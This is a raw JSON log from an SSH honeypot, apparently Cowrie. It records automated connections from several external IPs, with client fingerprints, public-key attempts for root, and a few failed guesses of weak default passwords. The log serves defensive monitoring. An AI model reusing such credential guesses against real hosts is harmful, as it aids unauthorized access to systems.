{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"107953a0ed83","protocol":"ssh","message":"New connection: 2.57.122.208:36418 (10.17.0.5:22) [session: 107953a0ed83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:43:14.767285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:43:14.822222Z","src_ip":"2.57.122.208","session":"107953a0ed83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:43:14.992133Z","src_ip":"2.57.122.208","session":"107953a0ed83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:43:15.731401Z","src_ip":"2.57.122.208","session":"107953a0ed83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:43:17.154094Z","src_ip":"2.57.122.208","session":"107953a0ed83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55776,"dst_ip":"10.17.0.5","dst_port":22,"session":"08bc6cd0715e","protocol":"ssh","message":"New connection: 103.15.226.202:55776 (10.17.0.5:22) [session: 08bc6cd0715e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:15.728770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:15.733380Z","src_ip":"103.15.226.202","session":"08bc6cd0715e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:15.979990Z","src_ip":"103.15.226.202","session":"08bc6cd0715e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"you@123","message":"login attempt [root/you@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:16.718375Z","src_ip":"103.15.226.202","session":"08bc6cd0715e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:17.966035Z","src_ip":"103.15.226.202","session":"08bc6cd0715e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":23726,"dst_ip":"10.17.0.5","dst_port":22,"session":"94038150d445","protocol":"ssh","message":"New connection: 45.90.105.6:23726 (10.17.0.5:22) [session: 94038150d445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:25.501098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:25.506318Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:25.590121Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:7a:ea:ca:d4:48:9f:76:69:e0:ea:37:9d:7c:42:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOhOIahkuryt9Hf8J5uLUuXFwZx/hlHO8pZyfvyHCPTuz3CfZ7Q4fV/YN/jSgTSq1zB0/jPDCu41Ix0Cx7Wrw2scL1OKHY+vqkhJbQP5966w1xbYJRzn9vCuzydF8ct7qJpu15VQKEFgFiIopyHX8h3crOKjdPCUibF1BxHKyi785ITl5p3O1A5sT+BLhn25dqHACakXy8JiMMP9heZHSgYqpDX4yDqgoTondj4LWGACGR5silhpx3xh7omXlE1VAEITJklCBIcU34k1uKgQ2f+Vm2qhlNPNTRVQPp/HEafCLwU+LvM28S5WaBWz5bEk1w3IsdYHvKgNRYyhddoWf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:7a:ea:ca:d4:48:9f:76:69:e0:ea:37:9d:7c:42:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:25.977147Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:7a:ea:ca:d4:48:9f:76:69:e0:ea:37:9d:7c:42:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOhOIahkuryt9Hf8J5uLUuXFwZx/hlHO8pZyfvyHCPTuz3CfZ7Q4fV/YN/jSgTSq1zB0/jPDCu41Ix0Cx7Wrw2scL1OKHY+vqkhJbQP5966w1xbYJRzn9vCuzydF8ct7qJpu15VQKEFgFiIopyHX8h3crOKjdPCUibF1BxHKyi785ITl5p3O1A5sT+BLhn25dqHACakXy8JiMMP9heZHSgYqpDX4yDqgoTondj4LWGACGR5silhpx3xh7omXlE1VAEITJklCBIcU34k1uKgQ2f+Vm2qhlNPNTRVQPp/HEafCLwU+LvM28S5WaBWz5bEk1w3IsdYHvKgNRYyhddoWf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:25.981214Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:b4:e8:c6:59:20:ad:36:01:92:d9:e8:00:b2:24:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcD/flYXHVz6t5v8IhHwlXyR/A4YZpL8npJsGGDtp1d/qWgPXRbwhBvf18w3pmEW7sxoomA8gVK2DyPaLfXFBVlavlbLNZPrapVnSqH9XT6nowPqG75hEtUgmHEZ7JP58R/1LHQhXC7oK9GyVkBXz/qLok0V76jSxN7QPh+XPHPfsiqZG1Am47GRM5diRhMxjUEtD2EuywsoxxUHpJVULuKc7sTXVJT9g8dbeH62XZZRhZ8fP2LREuB7j7ngyUiMz1lVLl5jm+RvqgL49hLh8CYbYJjsHtGUyyHqhjUK9odbvV3txRXS5FwW9v879V2QoUpLKp8PaQSiKRVrk0NMJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:b4:e8:c6:59:20:ad:36:01:92:d9:e8:00:b2:24:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.064054Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:b4:e8:c6:59:20:ad:36:01:92:d9:e8:00:b2:24:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcD/flYXHVz6t5v8IhHwlXyR/A4YZpL8npJsGGDtp1d/qWgPXRbwhBvf18w3pmEW7sxoomA8gVK2DyPaLfXFBVlavlbLNZPrapVnSqH9XT6nowPqG75hEtUgmHEZ7JP58R/1LHQhXC7oK9GyVkBXz/qLok0V76jSxN7QPh+XPHPfsiqZG1Am47GRM5diRhMxjUEtD2EuywsoxxUHpJVULuKc7sTXVJT9g8dbeH62XZZRhZ8fP2LREuB7j7ngyUiMz1lVLl5jm+RvqgL49hLh8CYbYJjsHtGUyyHqhjUK9odbvV3txRXS5FwW9v879V2QoUpLKp8PaQSiKRVrk0NMJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.067832Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:08:83:7e:dd:ba:f0:95:17:ec:65:ad:5d:b2:5e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzp3cvE4XKGx9+ND9o1LZFsE5ybsTbuDQRtcPcZSu0jDajoA/PF5NiCsCKiIjNJdij32H9ywiSgIlnlWBVBZOqbpDMcuVAqVjryVzw4nLUeCnVNtNmMa/jYwMtGFgimdDrZgBgnpdC+nDwhhabizda/JYvAAMYOIfdGhHXHJfyBbkPj2MN+6KZHoO3v3AMG5k3wtDnBEiYooeEw/yUOzYZxWkzRMHbtkn0V7t+A4YrcjSbF2RFqPl1j+TEiGjSWcEavNGCbFFhUYb8OGTe+s6/xME+FUBnprx1znNsxfZTh9Auq1pJwiBLT38udvQ53zciwsh8/fCLBMLVLJtPsT7Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:08:83:7e:dd:ba:f0:95:17:ec:65:ad:5d:b2:5e:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.152216Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:08:83:7e:dd:ba:f0:95:17:ec:65:ad:5d:b2:5e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzp3cvE4XKGx9+ND9o1LZFsE5ybsTbuDQRtcPcZSu0jDajoA/PF5NiCsCKiIjNJdij32H9ywiSgIlnlWBVBZOqbpDMcuVAqVjryVzw4nLUeCnVNtNmMa/jYwMtGFgimdDrZgBgnpdC+nDwhhabizda/JYvAAMYOIfdGhHXHJfyBbkPj2MN+6KZHoO3v3AMG5k3wtDnBEiYooeEw/yUOzYZxWkzRMHbtkn0V7t+A4YrcjSbF2RFqPl1j+TEiGjSWcEavNGCbFFhUYb8OGTe+s6/xME+FUBnprx1znNsxfZTh9Auq1pJwiBLT38udvQ53zciwsh8/fCLBMLVLJtPsT7Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.155781Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:7b:80:43:f6:62:b8:88:79:86:37:4c:46:57:21:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7R+/oznToxwRF3bJuUKHba5nKJVc3vg6On4dxT26FkGMkBL8/wzKxcb1i2AJypnD7PkieTIUEI5BWWQSYECbCigzPe3j3jVkANhXUn/jbEYqzM+60ZDAdPske03Cn/JlivX1dCc0SmawtCMlpwgY3ZDlsvCGOyhQ0/NVp2n6IVH1ltfDTT64ttrLHmsU2jSvueo5xidlb93/Fg3e9ynt3nwzGvdxQ4RxlklX61vf2m3E/pqlXWyxMWmPi1dnvi61bxT0xsQ7Wu+BwffuCqqan9hOq1nB3n13NqlCAP+TF/T/s4JlkhgYtNaOAyXfm7tqHC3AnPnrqZYcNQ7mVldY/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:7b:80:43:f6:62:b8:88:79:86:37:4c:46:57:21:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.238230Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:7b:80:43:f6:62:b8:88:79:86:37:4c:46:57:21:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7R+/oznToxwRF3bJuUKHba5nKJVc3vg6On4dxT26FkGMkBL8/wzKxcb1i2AJypnD7PkieTIUEI5BWWQSYECbCigzPe3j3jVkANhXUn/jbEYqzM+60ZDAdPske03Cn/JlivX1dCc0SmawtCMlpwgY3ZDlsvCGOyhQ0/NVp2n6IVH1ltfDTT64ttrLHmsU2jSvueo5xidlb93/Fg3e9ynt3nwzGvdxQ4RxlklX61vf2m3E/pqlXWyxMWmPi1dnvi61bxT0xsQ7Wu+BwffuCqqan9hOq1nB3n13NqlCAP+TF/T/s4JlkhgYtNaOAyXfm7tqHC3AnPnrqZYcNQ7mVldY/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.241793Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:e7:9c:0d:46:5f:f3:af:7d:d5:4a:3a:57:3d:9b:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0wfA2xml107ds5vyy/GB0e0+1uVp6vUa8ygAijY0nwpLBdCMq8WoYIkJaqwblGvNY+wT2Ddfn66k9PhPk2wiHNX1L56+DikXrSNUcMtWQViwNKbMiOS6wxqttUluS5nn6GOxNqz74RIHzegfXf3qzvrUl/8pj+ERBlbPs3rVp2LDBGTCFCYp/U1TlYHN5wx5SfAkpIwlrAe8zEzAWv2E2XR3Jf78sTLuYJFvUKuq2hgRy4eZk2MrTIgcO75ZZT0H/LZ6PyAvgvrtinGk8ajO6pt/HZNG2jEonmi5CaCzRYh1w75z7CkhS6LjakzX0eckxEOG0mwxb8mbWR3olmYGf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:e7:9c:0d:46:5f:f3:af:7d:d5:4a:3a:57:3d:9b:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.324025Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:e7:9c:0d:46:5f:f3:af:7d:d5:4a:3a:57:3d:9b:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0wfA2xml107ds5vyy/GB0e0+1uVp6vUa8ygAijY0nwpLBdCMq8WoYIkJaqwblGvNY+wT2Ddfn66k9PhPk2wiHNX1L56+DikXrSNUcMtWQViwNKbMiOS6wxqttUluS5nn6GOxNqz74RIHzegfXf3qzvrUl/8pj+ERBlbPs3rVp2LDBGTCFCYp/U1TlYHN5wx5SfAkpIwlrAe8zEzAWv2E2XR3Jf78sTLuYJFvUKuq2hgRy4eZk2MrTIgcO75ZZT0H/LZ6PyAvgvrtinGk8ajO6pt/HZNG2jEonmi5CaCzRYh1w75z7CkhS6LjakzX0eckxEOG0mwxb8mbWR3olmYGf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.328033Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:26.410680Z","src_ip":"45.90.105.6","session":"94038150d445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:27.610607Z","src_ip":"125.124.92.11","session":"72334f97f056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":50048,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c3defe49e9","protocol":"ssh","message":"New connection: 45.148.10.121:50048 (159.203.135.109:22) [session: 42c3defe49e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:37.106949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:37.111340Z","src_ip":"45.148.10.121","session":"42c3defe49e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:44:37.267563Z","src_ip":"45.148.10.121","session":"42c3defe49e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":38666,"dst_ip":"159.203.135.109","dst_port":22,"session":"b96fa6f6441d","protocol":"ssh","message":"New connection: 27.79.44.54:38666 (159.203.135.109:22) [session: b96fa6f6441d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:45:03.326384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:45:03.785431Z","src_ip":"27.79.44.54","session":"b96fa6f6441d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:45:03.922128Z","src_ip":"27.79.44.54","session":"b96fa6f6441d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@","message":"login attempt [root/@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:45:04.858458Z","src_ip":"27.79.44.54","session":"b96fa6f6441d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:45:06.306391Z","src_ip":"27.79.44.54","session":"b96fa6f6441d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54108,"dst_ip":"10.17.0.5","dst_port":22,"session":"0140e2a5c7e8","protocol":"ssh","message":"New connection: 87.251.64.176:54108 (10.17.0.5:22) [session: 0140e2a5c7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:46:24.271297Z"}
